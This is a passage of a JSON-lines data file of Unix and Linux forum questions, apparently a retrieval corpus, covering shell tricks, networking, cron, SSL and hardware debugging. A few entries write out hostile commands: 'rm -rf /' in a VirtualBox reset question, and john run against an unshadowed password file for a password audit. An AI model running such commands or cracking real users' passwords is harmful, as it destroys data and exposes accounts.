on Linux on ARM - in fact, even Ubuntu on ARM is still not that well supported. I have two related questions: 1. Is it hard to make low-cost x86 devices that can run Ubuntu/Linux and relevant x86 applications? 2. How is it that Android apps can run seamlessly on x86 and ARM, while Linux applications have to be recompiled for ARM?"} {"_id": "61551", "title": "Is the chromebook Linux based at its core?", "text": "Just wondering if the Chromebook uses Linux in some way? If so, would there be a way to run Linux commands (e.g. Ssh) from a command line on it?"} {"_id": "117852", "title": "logrotate won't truncate original file", "text": "I have this conf for my logrotate: /tmp/snmp.log { daily rotate 12 missingok notifempty copytruncate dateext } but it won't truncate the original file. it logrotates but keeps on appending to the original file."} {"_id": "116060", "title": "Remote executing Magic Sys Rq", "text": "Is it possible to execute Magic SysRq keys on remote machine, using SSH? For example I'm trying to run like this: xdotool key Alt+Sys_Req+H But I do not see any help in console, also in /var/log/syslog. Please assume that I do not have root access, and I can't write to /proc/sysrq-trigger."} {"_id": "14684", "title": "Removing control chars (including console codes / colours) from script output", "text": "I can use the \"script\" command to record an interactive session at the command line. However, this includes all control characters _and_ colour codes. I can remove control characters (like backspace) with \"col -b\", but I can't find a simple way to remove the colour codes. Note that I want to use the command line in the normal way, so don't want to disable colours there - I just want to remove them from the script output. Also, I know can play around and try find a regexp to fix things up, but I am hoping there is a simpler (and more reliable - what if there's a code I don't know about when I develop the regexp?) solution. To show the problem: spl62 tmp: script Script started, file is typescript spl62 lepl: ls add-licence.sed build-example.sh commit-test push-docs.sh add-licence.sh build.sh delete-licence.sed setup.py asn build-test.sh delete-licence.sh src build-doc.sh clean doc-src test.ini spl62 lepl: exit Script done, file is typescript spl62 tmp: cat -v typescript Script started on Thu 09 Jun 2011 09:47:27 AM CLT spl62 lepl: ls^M ^[[0m^[[00madd-licence.sed^[[0m ^[[00;32mbuild-example.sh^[[0m ^[[00mcommit-test^[[0m ^[[00;32mpush-docs.sh^[[0m^M ^[[00;32madd-licence.sh^[[0m ^[[00;32mbuild.sh^[[0m ^[[00mdelete-licence.sed^[[0m ^[[00msetup.py^[[0m^M ^[[01;34masn^[[0m ^[[00;32mbuild-test.sh^[[0m ^[[00;32mdelete-licence.sh^[[0m ^[[01;34msrc^[[0m^M ^[[00;32mbuild-doc.sh^[[0m ^[[00;32mclean^[[0m ^[[01;34mdoc-src^[[0m ^[[00mtest.ini^[[0m^M spl62 lepl: exit^M Script done on Thu 09 Jun 2011 09:47:29 AM CLT spl62 tmp: col -b < typescript Script started on Thu 09 Jun 2011 09:47:27 AM CLT spl62 lepl: ls 0m00madd-licence.sed0m 00;32mbuild-example.sh0m 00mcommit-test0m 00;32mpush-docs.sh0m 00;32madd-licence.sh0m 00;32mbuild.sh0m 00mdelete-licence.sed0m 00msetup.py0m 01;34masn0m 00;32mbuild-test.sh0m 00;32mdelete-licence.sh0m 01;34msrc0m 00;32mbuild-doc.sh0m 00;32mclean0m 01;34mdoc-src0m 00mtest.ini0m spl62 lepl: exit Script done on Thu 09 Jun 2011 09:47:29 AM CLT"} {"_id": "47826", "title": "Redirecting without color", "text": "> **Possible Duplicate:** > Removing control chars (including console codes / colours) from script > output How do I disable all color codes when redirecting to file? I previously asked how to redirect everything to file, now I want to know how to redirect without colors. So instead of: ^[(B^[[m^[[1m^[[31m:: ^[(B^[[m^[[1mDaemon script ^[(B^[[m^[[1m^[[31mntpd^[(B^[[m^[[1m does not exist or is not executable.^[(B^[[m I'm looking forward to achieve plain: `:: Daemon script ntpd does not exist or is not executable.` ### Update: Looking at jw013 provided link, I tried the `sed` approach: `rc.d restart ntpd | sed -r \"s/\\x1B\\\\[([0-9]{1,2}(;[0-9]{1,2})?)?[m|K]//g\" &> progress.txt` But it didn't even redirect, and simply displayed the colored output to the console. ### Update 2: After user1146332 comment, in order to pipe STDERR, I have to pipe with `|&`. `rc.d restart ntpd | sed -r \"s/\\x1B\\\\[([0-9]{1,2}(;[0-9]{1,2})?)?[m|K]//g\" &> progress.txt` Resulted in: `^[(B:: ^[(BDaemon script ^[(Bntpd^[(B does not exist or is not executable.^[(B` It's tidier, but still some codes remain. But that `sed` RegExp is too hard for me to decypher."} {"_id": "49516", "title": "Is it possible to uncolor STDIN before writing it to file?", "text": "> **Possible Duplicate:** > Removing control chars (including console codes / colours) from script > output Is there a utility which uncolors colored output? Something like the `uncolor` utility in the example below: $ ./colored_output | uncolor > plain.txt The aim is to remove characters like \"`[0m[32m`\" and \"`[0m[1m`\" which get additionally output."} {"_id": "50210", "title": "How can i redirect the output to a file when the program is build with ncurses library", "text": "> **Possible Duplicate:** > Removing control chars (including console codes / colours) from script > output If we redirect output to file in this pattern `top >> somefile.txt`, we get lot of garbage value in the output. But for `top` there is batch (`top -b -n1 >> somefile.txt`) option where the file output is as desired. In case of programs like `nethogs` there is no such options. Is there is good way to output in such case."} {"_id": "121121", "title": "USB keypad (HID) not responding in linux but in grub", "text": "An external USB keypad I'd like to use gets recognised as a USB HID device, but it is not functional when Linux is booted. It does work when plugged into a Windows desktop and it does work while in grub, but not when the system has booted. The device is visible on the USB port (05a4:8003): $ lsusb Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 002 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 003 Device 002: ID 046d:c078 Logitech, Inc. Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 004: ID 05a4:8003 Ortek Technology, Inc. And `dmesg` shows no error when the device gets connected: [ 466.932272] usb 1-1.2: new full-speed USB device number 4 using ehci_hcd [ 467.026740] usb 1-1.2: New USB device found, idVendor=05a4, idProduct=8003 [ 467.026745] usb 1-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=0 [ 467.026756] usb 1-1.2: Product: USB Keypad [ 467.026758] usb 1-1.2: Manufacturer: Keypad [ 467.027939] input: Keypad USB Keypad as /devices/pci0000:00/0000:00:1a.0/usb1/1-1/1-1.2/1-1.2:1.0/input/input13 [ 467.028099] hid-generic 0003:05A4:8003.0004: input,hidraw1: USB HID v1.10 Keyboard [Keypad USB Keypad ] on usb-0000:00:1a.0-1.2/input0 [ 467.029600] input: Keypad USB Keypad as /devices/pci0000:00/0000:00:1a.0/usb1/1-1/1-1.2/1-1.2:1.1/input/input14 [ 467.029726] hid-generic 0003:05A4:8003.0005: input,hidraw2: USB HID v1.10 Mouse [Keypad USB Keypad ] on usb-0000:00:1a.0-1.2/input1 The input/event devices are created, but not responding. I wonder whether it is problematic that the device gets registered twice, as Keyboard input and as Mouse input. I'm testing on a Ubuntu 13.04 system. The intended target system is a Raspberry Pi with Rasbian. Since the problem appears on Rasbian in the same way I'm thinking it is Linux related. How can I debug this further? Any idea what could cause this unresponsive behaviour?"} {"_id": "73196", "title": "Measure disk IO latencies of a running process", "text": "I'm trying to measure the disk IO latencies of a running process to make a histogram. I could do this with DTrace in operating systems that provide it (e.g. as in this Joyent paper), but my application is running in Linux. My first thought was to try `perf`, and I can get counters but I can't find any way to get time deltas. I can get time deltas with `strace` (e.g. `strace -e read -T`), but I'm not sure if I can restrict the trace to disk IO (this system has a busy network interface as well). Is there any way to do this in Linux?"} {"_id": "131399", "title": "extract value between two search patterns on same line", "text": "I have the following in a file Output.dat. I need to extract the value between **dn: uid=** and **,ou=** dn: uid=user1,ou=Active,ou=Member,dc=domain,dc=org dn: uid=user2@abc.com,ou=Active,ou=Member,dc=domain,dc=org dn: uid=usertest,ou=Active,ou=Member,dc=domain,dc=org dn: uid=abc1,ou=Active,ou=Member,dc=domain,dc=org I tried using `sed -e '/dn: uid=/,/,ou=/p' output.dat but it returns complete line instead of value. when tried to use `sed -e '/dn: uid=/,/,ou=/\\1/p' output.dat` then got the following error: sed: -e expression #1, char 18: unknown command: `\\'"} {"_id": "73190", "title": "Unix vs Mac OS X, Notable Difference", "text": "I was searching Unix vs OS X. I found a notable difference at From http://www.unix.com/unix-dummies-questions-answers/919-mac-osx-vs-unix.html > OS X is a evolutionary kernel from the MACH and BSD linage. Can anyone help me understand this? * * * What are the notable differences between Unix and Mac OS X."} {"_id": "73193", "title": "How do I get rid of unnecessary mp3 tags in my music library?", "text": "I have a massive bunch of music. Some of the tracks have unnecessary MP3 flags. How can I get rid of them?"} {"_id": "22131", "title": "How to enable auto login in TTY while getting softwares like tmux work?", "text": "Currently i'm using flow redirect to enable auto login mode , but when i launch `tmux` in tty1 , it stuck. `c1:12345:respawn:/bin/login -f USERNAME /dev/tty1 2>&1` Is there any better solution for this ?"} {"_id": "22130", "title": "Will VMX cpu flags increase the speed of virtual machine software , like VirtualBox?", "text": "On some CPUs, if I run `grep vmx /proc/cpuinfo`, I can see a `vmx` flag under the `features` entry. Will this feature speed up virtual machine software like VirtualBox?"} {"_id": "131397", "title": "Debian server doesn't show in DHCP list on router", "text": "I have a Raspberry Pi running Raspbian which is connected over ethernet to my router. The router has been running both with DCHP and Static IP addresses and over the local LAN I can connect fine over ssh, for example. However, the device never shows in the list of connected devices on the router so I cannot configure port forwarding for external access. I would have said that this was a problem with the router but I have now tried with two different routers (BT Home Hub 2 and Edimax BR-6428) with the same results so I am thinking that it must be the OS. Is there some setting that I need to make the device appear to the router?"} {"_id": "22135", "title": "Success/fail tests for cURL (don't execute second line if first line fails)", "text": "According to Using \"&&\" is not effective for cURL submit form (don't execute second line if first line fails) In below code; first line is curl submit; second line is for queuing: curl -b cookies.txt \\ -d title=\"$(sed '1,/sblmtitle/d;/slpstitle/,$d' sedut.html)\" \\ -d taxonomy%5Btags%5D%5B1%5D=\"$( sed '1,/sblmkategori/d;/slpskategori/,$d' sedut.html )\" \\ -d teaser_include=1 \\ -d body=\"$(sed '1,/sblmkonten/d;/slpskonten/,$d' sedut.html)\" \\ -d field_source%5B0%5D%5Burl%5D=\"$( sed '1,/sblmurl/d;/slpsurl/,$d' sedut.html )\" \\ -d changed= \\ -d form_build_id=form-424f851ad50bd4781c8c25ab7efd5c4c \\ -d form_token=0e7cc7437faf816f1ecd96087286bda9 \\ -d form_id=post_node_form \\ -d op=Save http://www.web.org/submit/post && for file in $(ls *.html | sort -r | tail -1); do mv $file sedut.html done If `cURL` fails to submit, it will print out `sedut.html` contents. If `cURL` success submitting, it will print nothing. But `cURL` always giving `0` no matter if it success or failed in submitting. I think the best workflow is \"If `cURL` print nothing, run second line\" and \"If `cURL` print something, don't run second line\" I've just looked linux `if` command but still have no idea how to implement this because the example have different case."} {"_id": "22134", "title": "HP-UX SZ limit for ps?", "text": "Right so I have a fun little thing that I'm deathly confuzzled about. I have a program that is running and I am getting the following: using top: SIZE RES 1639M 359M using ps: SZ 20171 Now this seems deathly wrong for me. I checked and a page does qualify as 4kb so it is not a problem with paging. Can anyone help me figure out why this is occuring? Thanks!"} {"_id": "22137", "title": "How to watch rss feed for new entries from bash script?", "text": "I need to watch a RSS feed from our hudson ci server. Each time a new entry is available i want to play a sound by calling `#>play sound.wav`. Does anyone know a tool which can watch a rss-feed and fire a command each time a new entry appears? I had a look at `rsstail` but it gets all entries from the feed and not the latest or only the ones that are new since the last lookup."} {"_id": "22136", "title": "Emacs indentation using Tabs", "text": "Is there a way to make Emacs indent code using only tabs globally and not spaces. I know of tabify command. I would prefer the automated indentation to use tabs rather than a mixture of tabs and spaces as the default configuration does."} {"_id": "151450", "title": "Self-contained password manager with CLI", "text": "I'm looking for a password manager that has the following properties: 1. The manager is entirely self-contained. I take and install a directory on a thumbdrive and execute from that drive. It should also be self-contained. 2. The database should easily identifiable and moveable by hand. So for example,I could copy it to another thumbdrive, without copying the executable. 3. There should a commandline interface. A gui is fine and probably better then a curses based one, but I also want the ability to type on the commandline: > _retrieve_password_ for_this_app_or_site for_this_user. > 4. There should be at least a manager on Android which uses the same > database. A Windows version whould be a plus too but not mandatory. >"} {"_id": "77439", "title": "ngircd / xchat SSL issues", "text": "I'm trying to setup a ngircd IRC server on Fedora 18 (which was installed using yum), but I'm having some SSL issues. I can connect to the server locally and remotely if I choose to \"accept invalid SSL certificates\", but get an error otherwise. Here is the XChat output when I try to connect to the IRC server locally: * Connecting to {domain_name} ({ip_address}) port 6697... * * Subject: /OU=Domain Control Validated/OU=PositiveSSL/CN={domain_name} * * Issuer: /C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA Limited/CN=PositiveSSL CA 2 * * Subject: /OU=Domain Control Validated/OU=PositiveSSL/CN={domain_name} * * Issuer: /C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA Limited/CN=PositiveSSL CA 2 * * Subject: /OU=Domain Control Validated/OU=PositiveSSL/CN={domain_name} * * Issuer: /C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA Limited/CN=PositiveSSL CA 2 * * Certification info: * Subject: * OU=Domain Control Validated * OU=PositiveSSL * CN={domain_name} * Issuer: * C=GB * ST=Greater Manchester * L=Salford * O=COMODO CA Limited * CN=PositiveSSL CA 2 * Public key algorithm: rsaEncryption (2048 bits) * Sign algorithm sha1WithRSAEncryption * Valid since Nov 7 00:00:00 2012 GMT to Nov 7 23:59:59 2015 GMT * * Cipher info: * Version: TLSv1/SSLv3, cipher DHE-RSA-AES256-SHA (256 bits) * Connection failed. Error: unable to verify the first certificate.? (21) Here is the SSL portion of my `ngircd.conf` file. I ran `ngircd --configtest` to test the config file, but it just printed the contents of the file to my terminal. [SSL] CertFile = /etc/pki/tls/certs/{domain_name}.crt DHFile = /etc/pki/tls/private/dhparams.pem KeyFile = /etc/pki/tls/private/{domain_name}.pem KeyFilePassword = {key_file_password} Ports = 6697 I've also tried to connect to the server remotely from a Windows 7 x64 machine using mIRC, but had issues there also. I can't confirm it, but I think Fedora compiles ngircd with GnuTLS and I think my keys were created with OpenSSL. If this were so, would the keys be in a different format? How could I check and convert them? Is it possible that this is a CA trust issue on both of my machines? If so, how/where can I add the CA root certificates in Fedora 18 and Windows 7 so I don't have this problem? Are there any other possible causes? Is there's any other information that I should be providing?"} {"_id": "151451", "title": "simulate the read only environment without the users realizing it in VirtualBox", "text": "I have configured the Virtual Box in my machine. Now, I have the original Virtual Box images available under the folder `/home/original_vbox_images`. Now, the Virtual Box, as per the configuration, uses the images from the location `/root/VirtualBox VMs/`. I am planning on providing root access to the users in the guest OS installed in Virtual Box. So basically, the users can do anything with root access in the guest OS machine. (I expect the users to even execute **rm -rf /** ). Now, during reboot, I want the initial Virtual Box image that I have with me to be available again. So, I thought of doing something like this. vi /root/Desktop/newscript.sh cp -R /home/original_vbox_images/ /root/VirtualBox VMs/ Now, after giving execute permission on the script, I will add it to `/etc/rc.local` as below. vi /etc/rc.local sh /root/Desktop/newscript.sh As of now, I have 10 GB HDD. However, I plan on increasing the capacity of the Virtual HDD. The problem is, the copy might take longer time and won't be efficient. I am looking for some other elegant solution."} {"_id": "77430", "title": "Free all function keys ( F1-F12 ) for gnome-terminal", "text": "I'm using `gnome-terminal` and I need to free all the F keys because I need to remap them to something else inside `vim`, how I can do that? I'm running Ubuntu 13.04."} {"_id": "77434", "title": "Taking a sparse snapshot", "text": "I would like to take a dm snapshot of a drive. I do not want to take the snapshot of the unused and deallocated blocks. Is there any way of determining the used blocks and sectors of a hard drive without being file system aware. I would like to take a snapshot without having the empty parts of my disk backed up."} {"_id": "77435", "title": "How to run john parallel on several CPU's?", "text": "If I use: john --incremental UNSHADOWEDFILE then I can see it uses only 1 CPU. How can I set john to use several CPU's for finding the weak passwords? (need to find weak ones faster because of an audit)"} {"_id": "121129", "title": "gnome-open execute shell script", "text": "Is there a way to execute shell scripts automatically using gnome-open? If I call `gnome-open script.sh` in the terminal, the script opens in the default text editor. However the shell-script is executed directly by double-click from Nautilus."} {"_id": "85364", "title": "How can I check what signals a process is listening to?", "text": "How can I verify whether a running process will catch a signal, or ignore it, or block it? Ideally I'd like to see a list of signals, or at least not have to actually send the signal to check."} {"_id": "152731", "title": "How can I overlay lines in a transparent, inactive layer over my screen?", "text": "I'm attempting to line up some items on my screen, and it'd be useful to have a mostly-transparent guide as an overlay. Ideally, I would draw a vertical line that persists in the foreground, while not stealing focus from the window beneath. I've tried the built-in mouse marks in KDE, and ardesia, but both draw in freeform, and don't allow creating straight horizontal or vertical lines. (Gromit-MPX appears to be the same.) ## Usage example I've navigating genomes with igv, and sometimes I need to work out which features line up. I'd like to be able to draw temporary vertical lines to see what lines up, for example in the following screenshot. ![enter image description here](http://i.stack.imgur.com/d8B55.png)"} {"_id": "73221", "title": "A script's background process is still alive after closing the terminal", "text": "This is more of a process management/signal handling question than a Bash question. It just uses Bash to explain the issue. I'm running a Bash script in which I run a background process. This is the script: #!/bin/bash # ... # The background process { while :; do sleep 1 && echo foo >> /path/to/some/file.txt done } & # ... exit 0 I do NOT run the script itself in the background. Simply `./script`. The \"huponexit\" shell option is enabled using `shopt -s huponexit`, therefore when the terminal is being closed I expect it to send a HUP signal to Bash, which will propagate it until it reaches the background process. If the background process will not `trap` and ignore the signal, it will be killed too - but this is not happening. The background process acts as if it was `disown`'ed. This is a scheme I draw to illustrate the issue. The scheme, along with the description above, can be wrong as I'm sure I do not understand the subject well enough. Please fix me on that if it is truly the case. ![enter image description here](http://i.stack.imgur.com/avuMP.jpg) I want to know why the background process is not being killed after closing the terminal, as if it was invoked by an interactive shell like that: rany@~/Desktop$ while :; do sleep 1 && echo foo >> /path/to/some/file.txt; done & I'm not sure but I guess that the answer to my question lies in the fact that Bash fork()s a non-interactive shell to run the script which might have a different set of rules for job control and signal handling."} {"_id": "73227", "title": "Manage network connections on Arch Linux", "text": "I'm setting up an arch linux system(latest version) on my laptop. It already boots and configuration for network it's done via `systemctl`. Following instructions on the wiki I configured the ethernet service, first finding the service name with `ip link`, and then setting it up with `sudo systemctl enable dhcpcd@.service`. But on reboot the name of the network device changed to `eth0`, so my configuration doesn't work. Running $ sudo systemctl disable dhcpcd@.service (and all other systemctl commands aside list-units )throws error: [...] Failed to create mount unit file /run/systemd/generator/-.mount, as it already exists. Duplicate entry in /etc/fstab? How can I remove/disable the old config and set it up again? Note: oddly my prompt changed to `[@dhcppc0]`"} {"_id": "151459", "title": "Set persistent permissions for /var/log/boot.log", "text": "Every time I reboot my CentOS 6.5 computer, it writes the boot log to `/var/log/boot.log`. The permissions on this file are always `644` after a reboot. I want the permissions to be `600`. When I change the file permissions manually using `chmod 600 /var/log/boot.log` it reverts to `644` after the reboot. How can I make this change permanent? I would prefer the permissions are set when the file is created, instead of having the permissions applied sometime after the boot process is complete (or nearly complete)."} {"_id": "141183", "title": "failed to stuff \"ctrl-a H\" to a screen session", "text": "I need to toggle logging from outside of a detached screen session. Interactively you do this by pressing `ctrl`-`a` `H`. Their octal codes are `\\001` and `\\110`. (source) What I tried: $ screen -S test then from other terminal I tried to push these codes to the screen: $ screen -S test -X stuff $'\\\\001\\\\110\\\\r' However instead of the expected `Appending to logfile screenlog.0` I got `bash: h: command not found` Please tell me how to push 'Ctrl-a H' to a detached screen session."} {"_id": "147196", "title": "Chrome OS: Crosh Window and Hostname", "text": "I have a couple of questions regarding Chrome OS: * By default `Ctrl+Alt+T` opens a crosh window within the Chrome browser. I have the Crosh Window extension, which I would like `Ctrl+Alt+T` bound to - how would I go about doing this? * For various reasons, I need to have a hostname set both for the machine, and for DHCP requests. I've read via a Google site that there is some form of option via Shill Manager - which I cannot find. As such I'm at a loss as to how I can set a hostname."} {"_id": "73229", "title": "LXC apparmor profile limits executing scripts in /run/*", "text": "LXC is blocking a trusted container from running scripts in /run/*, how do I configure LXC to allow scripts to run here?"} {"_id": "37469", "title": "Sort fields inline", "text": "I'm trying to sort within a line of input over an unknown number of fields: Input: ab bc bc ab cd ef bc bc cd ef cd bc ab ef ab bc cd gh Output: ab bc ab bc bc cd ef bc cd ef ab cb cd ab bc cd ef gh I've been using something like `awk '{if($2 < $1) print $2,$1;else print}'` but seems like it would get messy over more than two fields. Any help?"} {"_id": "130941", "title": "BASH_ENV and cron jobs", "text": "I have several questions related to non-interactive, non-login shells and cron jobs. **Q1.** I have read that non-interactive, non-login shells only \"load\" `$BASH_ENV`. What does this exactly mean? Does it mean that I can point `$BASH_ENV` to a file, and that this file will be sourced? **Q2** : Assuming that I have an entry in `cron` pointing to a Bash script with a Bash shebang, what environment variables and definitions can I assume my Bash script is loaded with? **Q3** : If I add `SHELL=/bin/bash` to the top of my `crontab`, what exactly does this do? Does it mean that: 1. `cron` itself runs in Bash? 2. The commands **specified** in `crontab` are interpreted in Bash? 3. The scripts that do **not** have `shebangs` in them, are run under `$SHELL` something else? **Q4** : How can I set `BASH_ENV` for cron jobs?"} {"_id": "141184", "title": "Autofs timeout when accessing read-only file system", "text": "I've configured a auto-mount system (using `autofs`) with a timeout to mount a read-only (squashfs) file system. The mount gets unmounted after the timeout even though there is read only activity on the file system constantly. Is this expected behavior of automount?"} {"_id": "149660", "title": "mount info for current directory", "text": "I can do `df .` to get some of the info on the mount that the current directory is in, and I can get all the info I want from `mount`, but get to much info. I can grep it down, but am wondering if there is a better way. Is there some command `mountinfo` such that `mountinfo .` gives info I want (like `df .`, but with the info that `mount` gives.) * * * I am using Debian Gnu+Linux."} {"_id": "130946", "title": "Execute script on Linux Mint from a Windows Machine", "text": "Basically I am trying to use Linux Mint to display Powerpoint presentations. The presentations will be updated on a Windows machine, the user will then execute a script which 'refreshes' the presentation at the presentation terminals. We have this in place now, but using Windows XP, which we now have to remove because of the support ending. The issue I am having with Mint is I don't know how I execute a script from a Windows machine, that will kill the current presentation process, transfer the latest copy of the presentation and then execute. I have tried using plink to script this via an SSH connection but it doesn't show the presentation because it runs in the 'SSH' session rather than console. Any ideas are much appreciated I've hit a mental wall! Thanks"} {"_id": "32746", "title": "A shell script for joining two files", "text": "I want to write a `shell script` that get two files `A` and `B`, and get a result like this: File `A`: user_a tel_a addr_a user_b tel_b addr_b File `B`: process_1 user_a process_2 user_a process_3 user_b And the result: user_a process_1 tel_a addr_a user_a process_2 tel_a addr_a user_b process_3 tel_b addr_b How can i do this? `awk` or something else?"} {"_id": "140586", "title": "redirect output for a command that takes in multiple arguments", "text": "this command is to redirect output of `time` to with multiple args: $ time wc test >wc.out 2>time.out unix programming environment book shows that the error output of `time` redirects to `time.out`, but it seems that it's treating the `2>time.out` portion as part of the `wc` command and not redirecting the error output to `time.out` as I expected, so what is the problem?"} {"_id": "101129", "title": "xterminal dosen't pass key-strokes to emacs", "text": "I opened emacs using `emacs -nw`. Now, when I press `M`-`v`, it opens the view menu of the terminal, instead of passing the command to emacs. Is there a way to prevent this from happening? (I'm running on linux mint)"} {"_id": "32742", "title": "How to stop a windows virus run in Wine from infecting executables?", "text": "Yesterday all *.exe files on my machine were infected by Win32.Neshta virus after I ran one program via wine. I cured the machine with `rm -rf ~/.wine`, but it's no good anyway. So, I decided to set owner root:root and mode 644 on all *.exe, *.com... files. But the owner of the directories is still me. So, I (and, therefore, viruses) can freely rename/remove *.exe files. It's bad. How can I protect *.exe files from being modified/ renamed/ removed by viruses? Now I have two ideas: * `chattr +i` * make a hardlink for all *.exe to a separate root directory"} {"_id": "140582", "title": "Is it possible to switch the user logged in to desktop environment via the terminal?", "text": "Is there any possibility to login as a different user while changing also the environment (or how do you say the wallpaper, shortcuts,...) via terminal command like `su`, `ssh` or `login`? Like when you click switch user in the up right corner where your name is and then you log in to a different account. By environment I mean the thing you see when you boot up the computer and normally login through the login screen. You have your wallpaper, toolbar etc. So I just want to open terminal in my adam's environment and type `login --change-enviroment john`, rather than clicking adam in the up right corner, logging off and logging in like john"} {"_id": "32740", "title": "User's executed commands log file", "text": "In Unix based systems, is there a `log file` that stores user's executed command(s)?"} {"_id": "93475", "title": "Install debug flash player in Chrome?", "text": "I am trying to adapt the instructions from here, here, and here to install the debug version of the flash player on my Ubuntu 13.04 installation such that Chrome 30.0.1599.66 can use it. Interestingly, it appears that I already have the official Adobe flash plugin installed and useable by Chrome, so the problem changes from \"installing flash\" to \"replacing regular flash with the debugger version\". ![enter image description here](http://i.stack.imgur.com/PRIDm.png) So I need to replace `libflashplayer.so` with the one downloaded from Adobe. Sounds simple. I selected this file (Linux Flash Player 11.2 Plugin content debugger), decompressed it and installed the Flash Player Local Settings configurations files as directed. I then replaced `/usr/lib/flashplugin/installer/libflashplayer.so` with the version included in the debugger install, and restarted Chrome. To my surprise, the second Adobe Flash Player listing in `chrome://plugins` just disappeared! ![enter image description here](http://i.stack.imgur.com/UvGyU.png) It's as if Chrome doesn't like the debugger plugin for some reason. I tried various things to get the debugger plugin to appear but to no avail: * `chmod +rx libflashplayer.so` * `nspluginwrapper -i libflashplayer.so` (Results in error `no appropriate viewer found for libflashplayer.so`) * `mkdir /opt/google/chrome/plugins; mv libflashplayer.so /opt/google/chrome/plugins` How can I get Chrome to recognize the Flash debugger plugin?"} {"_id": "93476", "title": "gnome-terminal: keep track of directory in new tab", "text": "I'm on Arch linux, and when I open a new terminal tab, it always goes to `$HOME`. How can I make it so that when I open a new tab, it opens the shell in the directory I was in previously?"} {"_id": "93470", "title": "Automatic replacement of strings in gedit", "text": "I want to replace some strings defined by me in gedit, after a word has been completed and/or the document has been saved. For example \\\u00f0rac should be replaced with \\frac How do I do this in gedit or with a plugin for gedit? If it is not possible in gedit, then I'm happy for suggestions of other programs that has the feature with the same basic feature set as gedit."} {"_id": "93471", "title": "No ethernet/wireless connection after dist upgrade - \"network UNCLAIMED\"", "text": "I did an upgrade from Xubuntu 12.04 to 12.10, and I can't connect to the internet now. When I press the network button on the panel, I see \"No network devices available\" on top (greyed out), then \"VPN Connections\", \"Enable Networking\" with a checkmark next to it, \"Information\" (greyed out) and \"Edit\". Here's the output from some commands that seem relevant: ` ~ % lspci | grep -i ethernet 03:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168B PCI Express Gigabit Ethernet controller (rev 07) ~ % lspci | grep -i network 02:00.0 Network controller: Intel Corporation Centrino Wireless-N 1030 (rev 34) ~ % sudo lshw -C network PCI (sysfs) *-network UNCLAIMED description: Network controller product: Centrino Wireless-N 1030 vendor: Intel Corporation physical id: 0 bus info: pci@0000:02:00.0 version: 34 width: 64 bits clock: 33MHz capabilities: pm msi pciexpress bus_master cap_list configuration: latency=0 resources: memory:f7c00000-f7c01fff *-network UNCLAIMED description: Ethernet controller product: RTL8111/8168B PCI Express Gigabit Ethernet controller vendor: Realtek Semiconductor Co., Ltd. physical id: 0 bus info: pci@0000:03:00.0 version: 07 width: 64 bits clock: 33MHz capabilities: pm msi pciexpress msix vpd bus_master cap_list configuration: latency=0 resources: ioport:e000(size=256) memory:f0004000-f0004fff memory:f0000000-f0003fff ~ % uname -a Linux bleen 3.5.0-030500-generic #201207211835 SMP Sat Jul 21 22:35:55 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux ~ % ifconfig lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:472 errors:0 dropped:0 overruns:0 frame:0 TX packets:472 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:35080 (35.0 KB) TX bytes:35080 (35.0 KB) ~ % ifconfig eth0 up eth0: ERROR while getting interface flags: No such device ` I think that UNCLAIMED means I don't have a driver for the Ethernet controller. It seems that the driver should be called something including 816 (I don't remember where I found that), and it does seem to be missing: ` ~ % lsmod | grep 816 ~ % ` I tried downloading and installing the driver (after moving on a USB stick from a computer with a connection), but I get this issue: ` ~/r8168-8.037.00 % sudo ./autorun.sh Check old driver and unload it. Build the module and install make: *** /lib/modules/3.5.0-030500-generic/build: No such file or directory. Stop. make1: _**[clean] Error 2 make: *_ * [clean] Error 2 ` Not sure what to do next."} {"_id": "32749", "title": "Extracting text from a text file in bash", "text": "I have a large text file that is all one line. In the text are several sections that looks like `foo=12345` and I need to extract them all as separate lines, ignoring the rest of the file. For example: random junk foo=12345 more junk random junk foo=2345 junk foo=7654 junk random foo=5432 junk What I want to get out is: 12345 2345 7654 5432 I know how to write the regex to extract the `foo=([0-9]+)`, but I'm not sure how to apply that to the text and get the lines out in bash."} {"_id": "93473", "title": "What does this command-line do?", "text": "Please explain this in ways that I can understand. I'm very new to this stuff: ps ax >mytemp; more In particular, Linux has to deal with two shortcomings of hardware with > respect to memory addressing: > > 1. Some hardware devices can perform DMA (direct memory access) to only > certain memory addresses. > > 2. Some architectures can physically addressing larger amounts of memory > than they can virtually address. Consequently, some memory is not > permanently mapped into the kernel address space. > > My Questions: 1. First is okay, what does he mean by 2? 2. Does he mean to say: Some architectures can address larger amounts of physical memory than they can address virtual addresses? 3. How's that possible? I thought virtual address space is larger than physical memory or at least (if any) equal to physical memory. 4. Also, isn't it because VAS (virtual address space) is larger than physical memory, some memory is not permanently mapped into KAS (kernel address space). But I'm guessing that only physical memory is mapped into KAS. Let me know what he means by point #2 above and what wrong assumption(s) I'm making here."} {"_id": "56019", "title": "phpmyadmin is listing my server version and client version as being different", "text": "In a continuation of this question, I have purged the 5.1 client via `sudo apt-get purge mysql-client-core-5.1`. I have reinstalled the 5.5 client - `sudo apt-get --reinstall install mysql-client-5.5 mysql-client-core-5.5`. I've also restarted apache and MySQL. Despite that, phpmyadmin still lists the client as being 5.1. Any ideas how to fix it? EDIT: It tells me that `mysql-client-5.1` is not installed. `mysql --version` returns: $ mysql --version mysql Ver 14.14 Distrib 5.5.28, for debian-linux-gnu (x86_64) using readline 6.2"} {"_id": "98222", "title": "Deleting all files that begins with parenthesis", "text": "I have many files in a directory that begins with parenthesis. They are generated by Dropbox due to conflict. Any combination of escaping does not seem to help: rm -rf \"(*\" rm -rf \"\\(*\" rm -rf 